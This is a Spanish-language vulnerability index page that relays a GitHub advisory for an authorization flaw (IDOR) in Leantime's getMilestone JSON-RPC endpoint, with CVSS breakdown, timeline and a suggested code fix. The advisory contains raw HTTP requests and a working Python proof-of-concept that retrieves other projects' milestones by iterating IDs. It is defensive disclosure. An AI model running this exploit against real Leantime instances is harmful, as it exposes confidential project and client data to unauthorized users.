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Advisory · GitHub · Packagist · leantime/leantime

GHSA-JVM8-4GGG-RJ85

IDOR in getMilestone JSON-RPC endpoint allows cross-project data leak in Leantime ≤ 3.9.8

Sin parche publicado
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CVSS 3.1
4.3
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición49 dDesde la divulgación, 2 oct 2026, 10:34 a. m.
Detección47 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
2 oct 26
19 nov 26
21 nov 26
2 oct 26
15 oct 26
27 oct 26
9 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-JVM8-4GGG-RJ85 divulgada · CVSS 4.3 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

An Insecure Direct Object Reference (IDOR) in the `getMilestone` JSON-RPC method allows any authenticated user to read milestones from projects they have no access to. An attacker who is a member of a single project can enumerate milestone IDs and retrieve the headline, description, dates, and metadata of milestones from every other project in the Leantime instance, including restricted ones.

Details

`getMilestone()` in `app/Domain/Tickets/Services/Tickets.php` fetches a milestone by numeric ID without verifying that the caller belongs to the project that owns the milestone:

/** @api */
#[RequiresPermission(TicketsPermissions::VIEW)]
public function getMilestone(int $id): TicketModel|bool
{
    return $this->ticketRepository->getTicket($id);  // no project scope check
}

#[RequiresPermission(TicketsPermissions::VIEW)] resolves the project from the caller's active session (whichever project they currently have selected), not from the milestone being requested. The repository then returns the full database row for any milestone ID in the system.

Contrast with the correctly implemented getTicket() method in the same file (~line 1140), which performs a post-fetch membership check:

#[RequiresPermission(TicketsPermissions::VIEW)]
public function getTicket($id): TicketModel|bool
{
    $ticket = $this->ticketRepository->getTicket($id);
    if ($ticket && $this->projectService->isUserAssignedToProject(
            session('userdata.id'), $ticket->projectId)) {
        return $ticket;
    }
    return false;  // correctly denies cross-project access
}

getMilestone is missing this post-fetch isUserAssignedToProject() check entirely.

PoC

Setup:
- Leantime instance (tested on v3.9.8 - latest).
- Project A (restricted): contains milestone id=10 with sensitive data. Attacker has no access.
- Project B: attacker is a legitimate member.

Step 1 - Login as attacker (member of Project B only):

POST /auth/login
Content-Type: application/x-www-form-urlencoded

_token=<csrf>&username=attacker@example.com&password=...&redirectUrl=/dashboard/home

Step 2 - Set session to Project B (legitimate project):

GET /projects/changeCurrentProject/3
Cookie: leantime_session=<attacker_session>

Step 3 - Call getMilestone with a milestone ID from Project A:

POST /api/jsonrpc
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Cookie: leantime_session=<attacker_session>

{"jsonrpc":"2.0","method":"leantime.rpc.tickets.tickets.getMilestone","params":{"id":10},"id":1}

Response: full Project A milestone returned to attacker:

{
  "jsonrpc": "2.0",
  "result": {
    "id": 10,
    "headline": "SECRET Q3 Budget - CONFIDENTIAL",
    "description": "...",
    "projectId": 2,
    "projectName": "SECRET Project A",
    "clientName": "...",
    "editFrom": "...",
    "editTo": "..."
  }
}

Control - getTicket with the same ID correctly blocks access:

POST /api/jsonrpc
{"jsonrpc":"2.0","method":"leantime.rpc.tickets.tickets.getTicket","params":{"id":10},"id":2}
→ {"result": false}
Self-contained Python PoC:
#!/usr/bin/env python3
"""
Leantime getMilestone IDOR (CWE-639)
Usage: python poc_leantime_milestone_idor.py <url> <email> <password> <milestone_id>
"""
import sys, re, json, requests

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
USER = sys.argv[2] if len(sys.argv) > 2 else "attacker@leantime.test"
PASS = sys.argv[3] if len(sys.argv) > 3 else "Admin1234!"
MID  = int(sys.argv[4]) if len(sys.argv) > 4 else 2

JSONRPC = f"{BASE}/api/jsonrpc"
HDR = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json"}

s = requests.Session()
r = s.get(f"{BASE}/auth/login")
token    = re.search(r'name=["\']_token["\'][^>]*value=["\']([^"\']+)["\']', r.text)
redirect = re.search(r'name=["\']redirectUrl["\'][^>]*value=["\']([^"\']*)["\']', r.text)
if not token:
    print("[-] CSRF token not found"); sys.exit(1)

r2 = s.post(f"{BASE}/auth/login", data={
    "_token": token.group(1), "username": USER, "password": PASS,
    "redirectUrl": redirect.group(1) if redirect else "", "login": "Login",
}, allow_redirects=False)

loc = r2.headers.get("Location", "")
if r2.status_code not in (301, 302, 303) or "/auth/login" in loc:
    print("[-] Login failed"); sys.exit(1)

# Follow redirect (may land on first-login wizard — that's fine, session is valid)
s.get(f"{BASE}{loc}" if loc.startswith("/") else loc, allow_redirects=True)
print(f"[+] Logged in as {USER}")

resp = s.post(JSONRPC, headers=HDR, json={
    "jsonrpc": "2.0",
    "method": "leantime.rpc.tickets.tickets.getMilestone",
    "params": {"id": MID},
    "id": 1,
}).json()

print(json.dumps(resp, indent=2, default=str))

result = resp.get("result")
if isinstance(result, dict):
    print(f"\n[!] IDOR CONFIRMED: milestone id={MID} projectId={result.get('projectId')} headline={result.get('headline')!r}")
else:
    print("\n[-] No data returned (access denied or milestone not found)")

Impact

Any authenticated workspace member can enumerate all milestones across all projects in the instance by iterating sequential integer IDs, no membership in the target project is required:

  • Confidentiality: milestone headlines, descriptions, acceptance criteria, project names, client names, dates, and assignees are all exposed
  • Enumeration: IDs are sequential integers, making full enumeration trivial with a single loop
  • Scope: all projects in the Leantime instance, including those marked as restricted or client-facing

Suggested fix

Apply the same post-fetch project membership check used by getTicket:

#[RequiresPermission(TicketsPermissions::VIEW)]
public function getMilestone(int $id): TicketModel|bool
{
    $milestone = $this->ticketRepository->getTicket($id);

    if ($milestone && $this->projectService->isUserAssignedToProject(
            session('[userdata.id](http://userdata.id/)'), $milestone->projectId)) {
        return $milestone;
    }

    return false;
}

This mirrors the pattern already in use for getTicket and requires no changes to the permission framework.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
leantime/leantime≤ 3.9.8
3.9.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistleantime/leantime
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Leantime/leantime/security/advisories/GHSA-jvm8-4ggg-rj85

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.